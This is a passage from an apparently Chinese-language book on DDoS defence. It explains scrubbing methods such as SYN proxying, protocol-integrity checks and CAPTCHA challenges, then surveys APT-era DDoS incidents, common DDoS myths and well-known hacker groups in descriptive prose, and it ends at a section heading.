一些攻击方法在数据包载荷上可能并不存在明显的特征，没有办法进行攻击特征匹配，但却在请求数据包发送的频率和速度上有着明显的异常。这些攻击方法可以通过速度检查与限制来进行清洗。

例如，在受到THC SSL DoS攻击时，会在同一个SSL会话中多次进行加密密钥的重协商，而正常情况下是不会反复重协商加密密钥的。因此，当流量清洗设备进行统计时，如果发现SSL会话中密钥重协商的次数超过了特定的阈值，就可以直接中断这个会话并把来源加入黑名单中。

再如，在受到Slowloris和慢速POST请求攻击时，客户端和服务器之间会以非常低的速率进行交互和数据传输。流量清洗设备在发现HTTP的请求长时间没有完成传输时，就可以将会话中断。

此外，对于UDP洪水攻击等一些没有明显特征、仅通过大流量进行攻击的方法，可以通过限制流速的方式对其进行缓解。

4.TCP代理和验证

SYN洪水攻击等攻击方式都是利用TCP协议的弱点，将被攻击目标的连接表占满，使其无法创建新的连接而达到拒绝服务攻击的目的。流量清洗设备可以通过TCP代理和验证的方法来缓解这种攻击造成的危害。

在一个TCP SYN请求到达流量清洗设备后，设备并不将它交给后面的服务器，而是直接回复一个SYN+ACK响应，并等待客户端回复。

如果SYN请求来自合法的用户，那么他会对SYN+ACK进行响应，这时流量清洗设备会代替用户与其保护的服务器建立起TCP连接，并将这个连接加入信任列表当中（见图6-18）。之后，合法的用户和服务器之间就可以透过流量清洗设备，进行正常数据通信。对于用户来说整个过程是完全透明的，正常的交互没有受到任何影响。
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图6-18　正常用户的TCP交互

而如果这个SYN请求来自攻击者，那么他通常不会对SYN+ACK进行应答，从而形成半开连接。这样流量清洗设备会暂时保留这个半开连接，并在经过短暂的超时时间之后丢弃这个连接（见图6-19）。
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图6-19　SYN洪水攻击清洗

相比于所保护的服务器，流量清洗设备对连接表操作进行了专门优化，能够处理极其庞大的连接请求数量，因此即使有非常多的SYN请求同时涌向清洗设备，清洗设备也能够处理。在这个过程中，由于清洗设备拦截在被保护的服务器之前，服务器并没有消耗任何的连接资源，因此保证了服务器的性能不受影响。

流量清洗设备在作为TCP代理进行防护时，除了拦截半开连接外，还可以进行TCP协议的一些交互式验证。例如，在收到第一个SYN请求时，通过直接丢弃、发送RST包或发送错误序列号的ACK包的方式来中断连接过程，并检查客户端是否重新发起连接请求。通过这种验证，也可以识别并丢弃许多不合法的连接。

5.协议完整性验证

为了提高发送攻击请求的效率，大多数的攻击方法都会只发送攻击请求，而不接收服务器响应的数据，或者无法完全理解和处理响应数据。因此，如果能够对请求来源进行交互式验证，就可以检查请求来源协议实现的完整性。对于协议实现不完整的请求来源，通常可以将其作为攻击主机丢弃其发送的数据。

在DNS解析的过程中，如果域名解析请求获得的响应数据中Flags字段的Truncated位被置位，通常客户端就会使用TCP 53端口重新发送域名解析请求（见图6-20）。
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图6-20　正常用户的域名请求交互

而攻击者使用的攻击工具由于不接收或不处理解析请求的响应数据，也就不会使用TCP 53端口进行重新连接。流量清洗设备可以利用这个区别来有效地区分合法用户与攻击者，拦截恶意的DNS攻击请求（见图6-21）。
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图6-21　DNS洪水攻击清洗

对于提供HTTP服务的Web服务器，也可以使用类似的方式进行协议完整性验证。例如，可以使用HTTP协议中的302重定向来验证请求的来源是否接收了响应数据并完整实现了HTTP协议的功能。HTTP的302状态码表示被请求的资源被临时转移，并会给出一个转移后的地址。正常的合法用户在接收到302重定向后会顺着跳转地址寻找对应的资源（见图6-22）。
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图6-22　正常用户的Web页面重定向过程

而攻击者的攻击工具由于不接收或不处理响应数据，则不会进行跳转，因此攻击请求会被清洗设备拦截，Web服务器不会受到任何影响（见图6-23）。
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图6-23　HTTP洪水攻击清洗

6.客户端真实性验证

进行协议完整性验证能够清洗掉一部分简单的攻击工具所发送的攻击流量，但是，一些攻击工具在开发过程中使用了现成的协议库，这样就能够完整实现协议交互，通过协议完整性检验。对于这些攻击工具，需要使用客户端真实性验证技术进行攻击流量清洗。

客户端真实性验证是指对客户端程序进行挑战–应答式的交互验证，检查客户端能否完成特定的功能，以此来确定请求数据是否来自真实的客户端。

对基于页面的Web服务，可以通过检查客户端是否支持JavaScript来验证请求是否来自真实的浏览器客户端。当收到HTTP请求时，流量清洗设备会使用JavaScript等脚本语言发送一条简单的运算操作。如果请求是由真实的浏览器发出的，那么浏览器会进行正确运算并返回结果，流量清洗设备进行结果验证后就会让浏览器跳转到Web服务器上真正的资源位置，不会影响正常用户的访问（见图6-24）。
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图6-24　正常客户端的脚本验证

而如果请求是由攻击者通过攻击工具发送的，由于大部分工具没有实现JavaScript的解析和执行功能，因而不能返回正确的运算结果，流量清洗设备会直接丢弃这些请求，而不会给出跳转到Web服务器的连接，因此Web服务器不会受到影响（见图6-25）。
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图6-25　伪造客户端攻击的流量清洗

当然，攻击者也可以牺牲工具的一部分攻击效率，并在工具中加入JavaScript的解析和执行功能，以便通过JavaScript验证。这时，则需要使用验证码进行人机识别。

验证码的全称是“全自动区分计算机和人类的图灵测试”（Completely Automated Public Turing test to tell Computers and Humans Apart，CAPTCHA），这是一种用于分辨人与计算机的反向图灵测试。

图灵测试和反向图灵测试

图灵测试（又称“图灵判断”）是图灵提出的一个关于机器人的著名判断原则。

图灵测试是一种测试机器是不是具备人类智能的方法。被测试的包括一个人和一台声称自己有人类智力的机器。测试人在与被测试者（一个人和一台机器）隔开的情况下，通过一些装置（如键盘）向被测试者随意提问。问过一些问题后，如果测试人不能确认被测试者的答复中哪个是人、哪个是机器的回答，那么这台机器就通过了测试，并被认为具有人类智能。目前，还没有一台机器能够通过图灵测试。

可以看出，图灵测试是由人来出题考验机器，其目的是让出题人无法分辨给出答案的是人还是机器；而验证码与这个过程相反，是由机器来自动生成题目，其目的是让出题人能够有效地分辨给出答案的是不是真实的人。因此，验证码通常被认为是一种反向图灵测试。

常见的验证码是让用户输入一个扭曲变形的图片上所显示的文字。对于真实的人类用户来说，通常能够比较容易地识别出这些文字，给出正确的识别结果，从而通过测试并继续进行访问（见图6-26）。
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图6-26　正常用户完成验证码输入后进行Web访问

而对于计算机来说，想要识别验证码中的文字则相当困难。对于无法给出验证码正确识别结果的请求，流量清洗设备会直接丢弃，从而保护Web服务器不受影响（见图6-27）。
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图6-27　攻击程序无法自动完成验证码的挑战

误区：DDoS的云端清洗服务和本地缓解设备可以相互替代

DDoS其实是多种攻击的统称，不同的攻击也许要不同的缓解方法。通常，云端清洗服务主要采用稀释和分流的方法，擅长应对流量型DDoS攻击；而本地缓解设备能够处理的流量较小，更容易组合使用多种清洗技术，适合对抗系统资源消耗型和应用资源消耗型DDoS攻击。用户应该根据自己的业务特点和主要威胁，选择适合自身的解决方案。


6.3　小结

本章从“治理”和“缓解”两个方面，讨论了DDoS的对抗方法。具体包括僵尸网络的治理、地址伪造攻击的治理、攻击反射点的治理、攻击流量的稀释，以及攻击流量的清洗。从中可以看到，对抗DDoS攻击是一个涉及多个层面的问题，在有的环节，有效性和收益率并不对等。所以，只有政府、运营商、标准组织、安全厂商和最终用户共同合作，才能最终有效抑制这种攻击。
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第7章　未来与展望

7.1　未来的网络战

未来的网络战会同时表现出两种趋势：更广泛的打击和更精确的打击。更广泛的打击是指将敌对国家整体作为打击目标，通过制造社会混乱来降低对手的抵抗。战争爆发的同时，金融系统数据会突然出现混乱，各种交易无法进行；智能电网瘫痪，电力供应中断导致生产停滞；交通调度系统也陷入失控状态，城里的人无法出去，城外的物资无法进入；电话和网络中断，电视广播只能收到敌对台的宣传。这里描述的场景非幻想，其中的每种现象都是攻击者当前就可以通过网络攻击来实现的。例如，2008年俄罗斯和格鲁吉亚的战争中，格鲁吉亚的官方网站和主要媒体都因遭受DDoS攻击而关闭，总统萨卡什维利数次迁移个人主页的服务器。

而更精确的打击是指在具体的战斗中精确制造获胜的契机。《网电空间战》中，克拉克给出了一个真实的例子。2007年9月6日午夜，叙利亚境内的某处正在修建的秘密设施突然遇袭。短短一分钟的轰炸结束后，现场就只剩下满地的残骸和远去的以色列战机。令人百思不得其解的是，当晚来袭的以色列战机是20世纪70年代设计的F-15和F-16，没有专门的隐身能力，而叙利亚耗资数十亿美元建造的防空系统却完全没有发现这次袭击。虽然对以色列采用的具体方法未能确定，但军事专家一致认为，导致这一结果的原因是叙利亚的防空系统遭到了入侵，无法显示真实信息。

DDoS具有强大的破坏性，在广泛打击的过程中是有力的武器；然而在精确打击中，早期DDoS的缺点暴露无遗，为了发挥更大的作用，新的DDoS正在进入APT时代。


7.2　DDoS的APT时代

随着攻防技术的不断发展，DDoS攻击也不断出现新的特性。在2013年，DDoS攻击显现出技术高级、过程持续、危害严重的特点。DDoS攻击已经开始进入APT时代。

1.技术高级

过去，DDoS攻击就是攻击者通过控制大量的PC僵尸主机或使用简单的工具，直接向目标发送大量的请求数据包，这是一种相对简单而粗暴的攻击模式。而在2013年，DDoS攻击者开始使用更高级和高效的攻击技术，这体现在更强大的僵尸主机平台、更有效的攻击方法和更智能的攻击工具上。

在“燕子行动”（Operation Ababil）中，攻击者使用了主要由Web服务器组成的僵尸网络Brobot进行DDoS攻击。与PC相比，Web服务器具有更高的性能、更大的带宽和更长的在线时间。在进行DDoS攻击时，一台Web服务器僵尸主机的攻击效果能够比得上几十甚至数百台PC僵尸主机，而管理僵尸网络的开销则降低了许多。

在针对Spamhaus的DDoS攻击中，攻击者并不是直接发送攻击数据包，而是利用开放DNS解析器将原始的3Gbit/s流量放大为300Gbit/s攻击流量，实现更有效的带宽消耗效果。此后，攻击者在进行流量式DDoS攻击时，也更偏好于使用放大技术进行攻击。

在面对应用层DDoS攻击时，通常可以通过挑战/应答式的认证算法进行客户端验证，以识别并丢弃恶意的攻击请求。但在2013年，出现了Outflare、Kill’em All等多个智能化攻击工具，这些工具通过解析和执行JavaScript代码、加入无界面浏览器组件等方式模拟浏览器行为，绕过客户端验证算法；通过验证码识别技术模拟人类访问行为，绕过人机识别算法。更具智能化的攻击工具对DDoS防护方法提出了更大的挑战。

2.过程持续

2013年9月18日，从“燕子行动”开始整整经过了一年的时间。

从2012年9月18日开始，整个“燕子行动”经历了四个阶段，第一阶段、第二阶段发生在2012年，而第三阶段、第四阶段发生在2013年。

为了达到移除影片的目的，QCF持续对美国的金融机构发动DDoS攻击，美国银行（Bank of America）、花旗集团（Citigroup）、富国银行（Wells Fargo）、美国合众银行（US Bancorp）、PNC金融服务集团、第一资本（Capital One）、五三银行（Fifth Third Bank）、BB&T银行和汇丰银行（HSBC）等金融机构的在线业务都受到了影响。同时，为了保证DDoS攻击的效果，QCF不断地对其攻击工具itsoknoproblembro进行修改，增加新的攻击方法和手段，并调整攻击的策略。

目前，虽然“燕子行动”已经没有进一步的消息，但是这次行动已经持续了超过一年的时间，成为安全史上持续时间最长的DDoS攻击行动。

3.危害严重

DDoS攻击会对服务提供者造成严重的危害，影响其服务的可用性。然而，当现实世界与网络世界的结合越来越紧密时，这些DDoS攻击所造成的危害就不仅仅局限于服务提供者，还会威胁到服务使用者的资产安全。

比特币（Bitcoin）是一种用户自治的、去中心化的加密电子货币，通过电子货币交易所、服务商等渠道，比特币能够兑换为当地的货币或者金币。比特币的汇率随着其流通程度和人们对于比特币的价值预期不断变化，DDoS攻击者也开始逐渐关注这种新型资产。

2013年年中出现了多起比特币交易平台受到DDoS攻击的事件。

·2013年4月，全球最大的比特币交易市场Mt.Gox遭到DDoS攻击，导致业务中断；

·2013年4月，Bitcoin Blockchain的主站遭到DDoS攻击；

·2013年10月，中国首家比特币交易平台BTCChina遭到大流量DDoS攻击；

·2013年11月，丹麦比特币创业公司BIPS遭到DDoS攻击。

攻击者对比特币交易平台发起攻击，对于比特币持有者会产生两方面的危害。

其一，比特币交易平台和比特币在线钱包业务的中断会导致比特币汇率动荡，在每次交易平台遭到DDoS攻击后，比特币的价格都会有较大幅度的下跌。Mt.Gox遭到DDoS攻击后，比特币的价格从142美元下跌到112美元。这是对比特币持有者造成的间接损失。

其二，在运维团队忙于处理DDoS攻击以恢复业务运行时，攻击者可能正在进行隐蔽的入侵并窃取比特币。丹麦比特币创业公司BIPS遭到DDoS攻击时，安全团队紧急处理，而攻击者则进行了隐秘的入侵并成功偷窃了1295个比特币，价值100万美元。这是对比特币持有者造成的直接损失。

事实上，将DDoS攻击作为烟幕弹，吸引安全响应团队的注意力，然后从另一条通道进行入侵的手法已经不是第一次出现了。2011年4月，索尼（SONY）的欧洲分部遭到了DDoS攻击，安全团队忙于处理DDoS攻击而忽视了攻击者的信息窃取行为，这导致7700万份PSN用户的姓名、地址、生日、密码等私密信息泄露，索尼也在今年遭到了英国政府开出的25万英镑罚单。此外，美国一些银行也曾遭遇过类似的攻击，导致该银行在2小时内损失了900万美元。

和其他的网络攻击技术一样，DDoS攻击技术也在不断发展和进化，并开始进入APT时代。APT时代的DDoS攻击将具有更加高级、高效的攻击技术，更持续的攻击过程和更严重的危害，同时也会对DDoS防护、缓解技术和响应流程提出更大的挑战。随着国家级网军和网络战的不断升级，这样的DDoS攻击将会成为普遍现象。


7.3　DDoS与大数据

网络攻击技术从诞生的一刻起，就在不断发展和改变。DDoS的方法同样在不断发展，以致国际上一些研究者正在讨论“下一代DDoS”的定义与特点。当前，DDoS的缓解面临着一些日益严重的问题：

·攻击者越来越善于将自己伪装成真实用户（真实浏览器），区分恶意和正常访问正变得比以往更加困难。

·攻击方法和工具的多样化和定制化，使得攻击模式的提取工作变得越来越繁重。

·快速增长的攻击流量，需要更高效的清洗方法来应对。

“大数据”技术的兴起，为解决这些问题带来了一线曙光。早在20世纪70年代，一位名叫杰克·迈普的纽约警察就曾采用数据分析来预测犯罪行为。他对犯罪发生的时间、地点、类型等因素进行统计，以此来推测新案件的发生。90年代，这套方法被电子化，并在纽约市推广。未来，随着技术的发展，对抗中掌握数据的一方会拥有越来越大的优势。

维克多·迈尔·舍恩伯格在《大数据时代》中表示，与过去相比，“大数据”的精髓在于我们分析信息时的三个转变：

·“在大数据时代，我们可以分析更多的数据，有时候甚至可以处理和某个特别现象相关的所有数据，而不再依赖于随机采样。”

·“研究数据如此之多，以至于我们不再热衷于追求精确度。”

·“我们不再热衷于寻找因果关系。”

也许，解决DDoS当前问题的钥匙，就是“大数据”技术。我们可以想象不远的未来：当某个网络服务的访问量突然增大，前端设备会自动启动分析功能，根据访问模式快速区分恶意和正常的访问，并提取出模式特征。这些特征自动在本地部署，并从云端发送给协同工作的数以万计的同类设备。而发起攻击的僵尸网络地址也被记录在信誉系统，当类似攻击再次发生时可以快速阻断。攻击者手中的武器和进攻基地，使用得越多就会被越快地无力化。


附录A　DDoS主要攻击方法、工具和事件一览

表A-1　DDoS主要攻击方法
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表A-2　DDoS主要攻击工具
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表A-3　DDoS主要事件
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附录B　关于DDoS的9个误区

对DDoS攻击，大部分人的认知来源于新闻报道。新闻报道这种方式在普及DDoS危害性的同时，也会不自觉地引入一些误区。例如，针对各国政府和国际知名企业的攻击更受媒体关注，这导致很多人会认为中小网站不会遭遇DDoS。此外，报道中经常将攻击流量的数字放在醒目的位置，提醒读者这次攻击的严重性，然而事实上流量的大小并不等同于危害的程度。本书中列出了关于DDoS常见的9个误区，它们分散在正文的各个章节中。为了便于读者阅读，笔者将其摘录出来，集中展示在本附录中。

B.1　误区1：DDoS攻击都来自PC组成的僵尸网络

“DDoS攻击都是由僵尸网络发起的”，这几乎是一个安全领域的“常识”。然而，事实并非如此，至少并不完全是由PC组成的僵尸网络发起的。

随着技术的进步，服务提供商所使用的高性能服务器在处理性能和带宽方面快速提升，而传统的由PC组成的僵尸网络却发展缓慢。除了处理能力方面的因素外，PC通常只有非常有限的带宽资源，而可供利用的时间也很不确定。于是，一些“黑客”开始把目光移向高性能服务器，在“燕子行动”中，他们就这样做了。

此外，黑客组织Anonymous更喜欢组织众多真实的参与者共同发起攻击，我们也称其为“自愿型僵尸网络”。

B.2　误区2：DDoS攻击都是消耗网络带宽资源的攻击

很多时候，新闻报道中提到DDoS攻击时，都会以“攻击流量达到××”的语句来描述攻击的猛烈程度。这种以攻击流量的带宽作为DDoS攻击危害程度描述指标的说法，通常会让人们误以为DDoS攻击都是消耗网络带宽资源的攻击。

事实上，除了网络带宽资源，DDoS攻击还有消耗系统资源和应用资源的攻击方法，而攻击流量的大小只是决定攻击危害程度的一个方面。对于相同种类的攻击，通常攻击流量越大，其危害也越大；而如果在相同攻击流量的情况下，不同的攻击方法造成的危害和影响则不尽相同。

有时候，人们会错误地将SYN洪水攻击认为是消耗网络带宽资源的DDoS攻击，而事实上，这种攻击的主要危害在于耗尽系统连接表资源。相同攻击流量的SYN洪水攻击会比UDP洪水攻击的危害更大。

B.3　误区3：DDoS攻击都是洪水攻击

在提到DDoS攻击时，人们通常会条件反射性地想到UDP洪水攻击、SYN洪水攻击、RST洪水攻击等，并会由此认为DDoS攻击都是洪水攻击。

事实上，洪水攻击确实占据了DDoS攻击方法中相当大的比例，但并不是所有的DDoS攻击都是洪水攻击。除了洪水攻击外，还有一些被称为慢速攻击（Low and Slow Attack）的攻击方法。我们在对于DDoS攻击精髓的表述中提到：“消耗或长期占用大量资源，从而达到拒绝服务的目的”。洪水攻击就是通过快速发送大量数据和请求，达到迅速消耗大量资源的目的；而慢速攻击则有所不同，它会缓慢而坚定地发送请求并长期占用，一点一滴地蚕食目标的资源。

如果把DDoS攻击某个特定目标看作是一次杀手的谋杀任务，那么洪水攻击就是杀手手持机关枪直接射击目标，而慢速攻击则是《勺子杀人狂》中的杀手使用一把勺子完成了谋杀任务。

B.4　误区4：普通人不会遭遇DDoS攻击

如果你没有自己的在线网站或服务，自然无须担心。但如果你是一个网站的经营者，哪怕收入不多，甚至是非营利性质的，以下的想法也大错特错。“网上这么多站点，更出名的多的是，黑客怎么会攻击我？经营最近刚上轨道，挣钱还没多少，也没得罪过谁，黑客应该不会选中我吧？”

其实这样想，本身就已经进入了误区。网络世界遵循的并不是“人不犯我，我不犯人”的规则，一切只为了利益。网络犯罪团伙会为了利益进行敲诈，攻击名气大的站点的确可能获得更高收益，但成本和风险同时也会增加；而规模较小的网站防护能力薄弱，更容易得手。竞争也是DDoS的重要原因之一，新进者可能攻击领先者以抢夺用户，而领先者也可能攻击新进者来消除隐患。至于恶意的报复性攻击，则完全不会考虑规模之类的因素。

总之，网站的名气和盈利状况并不会影响攻击行为本身。只要你的网站是可被攻击的，那么它就可能遭遇DDoS，普通人同样难以幸免。

B.5　误区5：只有“黑客”才能发起DDoS

“只有‘黑客’才能发起DDoS”这个问题有些类似“只有士兵才能持枪射击”。技术的发展必然会促进分工，当前枪械的制造和使用早已完全分离，使用的难度也大幅降低。如果对准确度要求不高，射击就不再是一项专业技能，普通人经过少许练习就能够使用枪支。

网络攻击同样如此。当前大部分“黑客”都专注于特定领域，有的擅长发现漏洞，有的善于开发工具，有的负责入侵过程，有的专门处理账户信息。就DDoS攻击来说，一些“黑客”会建立和维护所谓的“攻击网络”。他们有的利用僵尸网络，有的控制高性能服务器，形成攻击能力后对外提供租用服务。而最终的租用者很可能只是不具备任何专业知识的普通人。这些服务使用方便，只要输入攻击目标的地址就可以完成整个攻击过程。发起DDoS攻击的可能是本地的网络黑帮，可能是对街的竞争对手，可能是上周被开除的员工，甚至可能是某个老朋友有些过火的玩笑。潜在的攻击者并不遥远，他们也许就在你的身边。

B.6　误区6：DDoS攻击的目的就是单纯破坏

在很多人眼中，“黑客”其实是天才和白痴的混合体。一方面，他们在网络中如超人般无所不能；另一方面，他们却像“哥斯拉”般四处喷火，为了破坏而破坏，完全是损人不利己。毋庸置疑，DDoS攻击的直接后果是破坏服务的可用性，简直是这一看法的完美证据。可实际上，这些隐藏在面具后的是一双双能够计算比特币的眼睛。当今时代的攻击者，对计算收益的敏感性远超常人。他们会用破坏的威力换取对等的利润，会用破坏的威慑避免自身可能受到的损失，会用破坏的杠杆撬起胜负的天平。更有时候，只需提示一下破坏的可能性，他们就可以坐地收银。

破坏，只是DDoS攻击的手段；最终的目的，永远是利益。

B.7　误区7：防火墙和入侵检测/防御系统能够缓解DDoS攻击

防火墙是最常用的安全产品，但是防火墙的设计原理中并没有考虑针对DDoS攻击的缓解。传统的防火墙是以高强度的检查作为代价来进行防护的，检查的强度越高，计算的代价越大。而DDoS攻击中的海量流量会造成防火墙性能急剧下降，不能有效地完成包转发的任务。同时，传统防火墙一般都部署在网络入口位置，虽然这是某种意义上保护了网络内部的所有资源，但是往往也成为DDoS攻击的目标。入侵检测/防御系统是应用最广泛的攻击检测/防护工具，但在面临DDoS攻击是，入侵检测/防御系统通常也不能满足要求。入侵检测/防御系统一般是基于规则进行应用层攻击的检测，在其设计之初就是作为一种基于特征的应用层攻击检测设备。但是目前的DDoS攻击大部分采用基于合法数据包的攻击流量，因此入侵检测/防御系统无法对DDoS攻击进行基于特征的有效检测。同时，入侵检测/防御系统也面临着和防火墙同样的性能问题。

B.8　误区8：系统优化和增加带宽能够有效缓解DDoS攻击

系统优化主要是指对被攻击系统的核心参数进行调整，例如增加TCP连接表的数量，降低TCP建立连接的超时时间等。对于小规模的DDoS攻击，系统优化的方法的确具有一定程度的缓解作用。但当攻击者成倍地增大DDoS攻击的规模和攻击流量时，这些系统优化的作用就显得微乎其微了。

增加带宽实际上属于一种退让策略，这种退让策略还包括购买冗余硬件、增添性能更好的服务器等。只要攻击者的DDoS攻击造成资源消耗不高于目前的带宽、计算等资源的承载能力，那么攻击就是无效的；而一旦DDoS攻击的资源消耗超出了目前的承载能力，则通过再次退让来使其无效化。增加带宽等退让策略从理论上讲的确能够完全解决DDoS攻击的问题，然而在实际上这种方式并不符合经济规律。事实上，攻击者增大DDoS攻击规模的成本并不高，而采用退让策略缓解DDoS攻击则需要不断增加带宽、服务器等基础设施的投入，这些投入不可能无限制增加，因此退让策略也不是缓解DDoS攻击的有效方法。

B.9　误区9：DDoS的云端清洗服务和本地缓解设备可以相互替代

DDoS其实是多种攻击的统称，不同的攻击也许要不同的缓解方法。通常情况下，云端清洗服务主要采用稀释和分流的方法，擅长应对流量型DDoS攻击；而本地缓解设备能够处理的流量较小，更容易组合使用多种清洗技术，适合对抗系统资源消耗型和应用资源消耗型DDoS攻击。用户应该根据自己的业务特点和主要威胁，选择适合自身的解决方案。


附录C　国外知名黑客组织和个人简介

通常提到的“黑客组织”，是指使用“黑客技术”进行犯罪的组织。然而，随着技术发展和目的变化，“黑客组织”逐渐分化出了不同的形式。首先从“漏洞挖掘”和“漏洞利用”开始分工。这是因为两者对于技能的要求和盈利的方式完全不同，前者类似于“军火商”，而后者更像是“作战部队”。所以在本附录中，会在C.5节对“漏洞挖掘和交易机构”进行专门描述（见图C-1）。
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图C-1　“作战部队”型黑客组织的分类

此外，即使同样是“作战部队”，也分为不同的类型。这些组织的目的决定了他们的规模大小和行为模式。互联网发展早期的“个人黑客”往往被看做网络空间的超人，单枪匹马击败对手。然而行业的发展必然伴随分工与协作，时至今日这样的独行者已经近乎绝迹。更为普遍的现象是“有组织的犯罪团伙”，这些团伙有严密的分工，有明确的目标，会精密地考虑成本与收益的关系，当前大部分的“网络攻击”是由他们发起的。另一种更为松散的形式称为“黑客行动主义”。他们没有严密的组织，也不涉及直接的经济利益，发动攻击时统一行动，平时却各自隐没在人海中。这样的组织有自己独立的价值观，用“网络攻击”来表达主张，常常有着巨大的舆论影响力。最后，也是最有力的一种形式是所谓的“国家级网军”。随着互联网的重要性日益显现，世界各主要国家都在建立自己的“网军”。由于不计成本，目标明确，以及计划周详，使这样的组织具有可怕的破坏力，2010年的“震网”病毒事件震惊了整个世界，不难想象，未来的战争中必然有他们的一席之地。不同“黑客组织”具有不同的目的性，由此决定了他们的规模、组织和威胁的对象，表C-1总结了几种主要形式。

表C-1　“作战部队”型黑客组织的特点
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各种类型的“黑客组织”数量众多，本附录难以尽述，只在这里举例介绍，供参考。

C.1　国家级网军

“国家级网军”以实现政治目的为主，能够拥有巨大的破坏力。首先，他们往往有持久而确定的目标，可以长时间观察和渗透，这就具备了实施APT攻击的基础；其次，人员队伍相对稳定，经费比较充足，意味着可以开发更强力的工具和制订周密的计划。2010年，“震网”病毒侵入伊朗物理隔离的核设施，并成功造成破坏。根据安全公司赛门铁克估计，这款病毒至少需要30人的专业团队开发6个月的时间，远不是一般犯罪团伙能够完成的。

1.朝鲜110实验室

“110实验室”隶属于朝鲜军队总参谋部侦探局，其成员全部毕业于平壤自动化大学。平壤自动化大学的前身是美林大学，这是朝鲜第一所专门培养黑客和电子战部队的秘密军事学院，始建于1981年，坐落在朝鲜北部的云山地区。除了平壤自动化大学，金日成军事综合大学从1986年开始也招收计算机专业学生，学制5年。这两所大学每年都会有100名优秀毕业生被朝鲜人民军选为黑客。位于平壤的“110实验室”是伪装成开发电脑软件公司的黑客部队。20世纪90年代初期朝鲜就组织这一部队，90年代后期扩大改组为专业部队。2009年7月7日，涉嫌通过拒绝服务攻击（DDoS），导致韩国主要网站、美国纽约证券交易所及白宫主网页瘫痪，韩国媒体将此称为“7·7网络事变”。

2.叙利亚电子军

叙利亚电子军（Syrian Electronic Army，SEA）是一个支持叙利亚领导人巴沙尔·阿萨德的黑客组织，成立于叙利亚内战的起始年——2011年。该电子军的使命非常明确：在互联网上发动支持阿萨德政府的网络攻势。据称这支部队有数千人，并获得阿萨德表弟的资助，在过去3年迅速发展壮大，利用“网络钓鱼”技术和社会工程学，成功袭击了多家国际知名媒体的网站或其社交媒体账号，传播亲阿萨德的言论，回击倾向性的媒体报道，还曾利用发布的假消息导致美国股市暴跌，展示了一种全新的战争模式。叙利亚电子军最著名的黑客行为是窃取了美联社的Twitter账号，并发布“美国白宫遭到两起炸弹袭击，总统贝拉克·奥巴马受伤”。该虚假消息导致道琼斯工业平均指数“闪电崩盘”，3分钟跌去130点，标准普尔500指数也直线下挫，导致标普市值瞬间蒸发1365亿美元。

C.2　黑客行动主义

在未来，“黑客行动主义”也许会是另一种极具破坏力的黑客组织形式。他们不重视成本和收益，行动缺乏明显的规律，也没有固定的组织形态。他们是互联网中的“游击队”，灵活多变是其最大的优势。从技术角度看，发达的网络使得攻击工具的获取和信息的传播非常便捷，途径也多样化，成为“攻击者”的门槛会越来越低。从人员组成来看，任何时代都会有不同理念的人，所以“黑客行动主义”很可能会长期存在。

1.LulzSec

LulzSec（Lulz Security）是2011年年初出现的一个黑客组织，因在短短2个月内成功袭击了中央情报局、美国参议院、任天堂、索尼等多家机构而名声大噪。他们发动了被称为“反安全行动”的攻击活动，目标是整个计算机基础设施。不过这个组织存在的时间极短，同年6月中旬，LulzSec宣布终止攻击活动，而另一个黑客团体——匿名者（Anonymous）黑客组织则代替他们继续发动新的网络攻击。LulzSec实施的攻击多为Web层面的攻击，其主要攻击手段是利用SQL注入和本地文件包含漏洞等。

2.Anonymous

匿名者（Anonymous）黑客组织是一个松散的黑客团体，任何人都可以宣称代表该组织或属于该组织。该组织也是近年来在国际上影响较为广泛的黑客组织之一，在重大的攻击事件中都有他们的身影。这个组织有自己的一些特点：他们有自己的网站，借此可以发出自己的声音。并通过IRC频道，定期举行聚会，使用投票系统，选择用最好的方式处理遇到的任何情况。该组织以DDoS攻击著称，目标是政府网站、口碑比较好的企业网以及宗教网站。该团体已经组织了许多著名黑客活动，比如“阿拉伯之春”、“抗议捷运”、攻击索尼用户数据库以及“占领华尔街”等。他们也通过DDoS攻击瘫痪了多个知名电子商务公司，如PayPal、Visa、MasterCard和索尼等。

C.3　有组织的犯罪团伙

“有组织的犯罪团伙”是当前效率最高的黑客组织形式，其目的是获取利润。所以很多组织方式和商业公司类似，以减小成本、增加收益和降低风险为基本原则。

1.The Jester

The Jester又被称为“爱国者”黑客，是美国一个有军方背景的黑客组织。攻击的对象多被称为“美国的敌人”，如2010年，维基解密网站因为泄露美国国务院的电报遭到The Jester的袭击。他们也攻击过若干个“圣战”组织的网站。该组织一名成员在接受福克斯新闻网在线采访时称，他们将对那些考虑为斯诺登提供庇护的国家展开网络攻击。有报道称，斯诺登可能前往厄瓜多尔避难，从周一早晨开始，The Jester就攻击了厄瓜多尔多个旅游局、股票及政府网站。由于委内瑞拉可能成为斯诺登的下一个落脚点，The Jester随即表示，委内瑞拉将成为其下一个攻击对象。The Jester主要的攻击手段是DDoS攻击，所用武器是自身开发的被称为XerXeS的攻击工具。

2.隐匿山猫

隐匿山猫（Hidden Lynx）是一个具有先进网络攻击能力的专业黑客组织。该组织以商业、科技机密为主要窃密对象。他们曾经在水坑式（Watering Hole）钓鱼攻击中突破了Bit9用于标记恶意软件的数字签名。该组织采用“雇佣黑客作战”的方式，对政府和公司展开广泛的攻击，并且能够在同一时间发动多线攻击，同时还能在短时间内改变战术从而实现既定目标。针对不同的目标他们会研究使用不同的木马，Backdoor.Moudoor被用于攻击大型公司，而Trojan.Naid则用于攻击高价值目标。该组织参与了2009年针对美国Google、Adobe等大型公司的“极光行动”（Operation Aurora）攻击。自2011年11月以来，全世界有上百个组织声称遭到了“隐匿山猫”的攻击。该组织的攻击范围从商业机构到各级政府，排名前10的领域为：金融、教育、政府、信息、医疗、工程、法律、媒体、非政府组织和国防企业。受到影响的国家或地区有美国（52.78%）、中国台湾（15.53%）、中国大陆（9%）、中国香港、日本、加拿大、德国、俄罗斯等。

3.Icefog

